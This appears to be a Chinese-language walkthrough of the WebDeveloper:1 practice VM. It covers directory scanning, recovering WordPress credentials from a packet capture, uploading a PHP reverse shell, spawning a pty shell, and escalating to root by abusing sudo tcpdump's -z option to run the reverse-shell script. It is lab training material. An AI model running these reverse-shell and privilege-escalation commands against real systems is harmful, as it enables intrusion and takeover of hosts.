WebDeveloper:1

一、主机发现

二、信息收集

1.目录扫描

dirb http://192.168.7.32

扫描出目录ipdata

拼接访问/ipdata，显示流量包

2.使用Wireshark打开流量包，根据图片提示找到账号密码

webdeveloper:Te5eQg&4sBS!Yr$)wf%(DcAd

3.拼接/wp-admin,使用刚刚的账号密码进行登录

登陆成功

三、信息利用

1.上传文件路径如下

2.使用kali自带反弹监听代码，在

/usr/share/webshells/php/php-reverse-shell.php

对文件进行编辑，改变ip和port

3.上传的文件在wp-content/uploads/ ，拼接访问，在第二个目录的第一个目录里，找到点击

4.kali监听成功

四、提权

1.获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

2.进入文件，找到wordpress账号密码

/var/www/html/wp-config.php

webdeveloper : MasterOfTheUniverse

3.ssh登录

ssh webdeveloper@192.168.7.32 //随即输入上述密码

2.sudo -l

到辅助网站查找利用方式

依次执行

echo $'php /var/www/html/wp-content/uploads/2022/01/php-reverse-shell.php' > /tmp/.shell
chmod +x /tmp/.shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell -Z root

kali监听得到root权限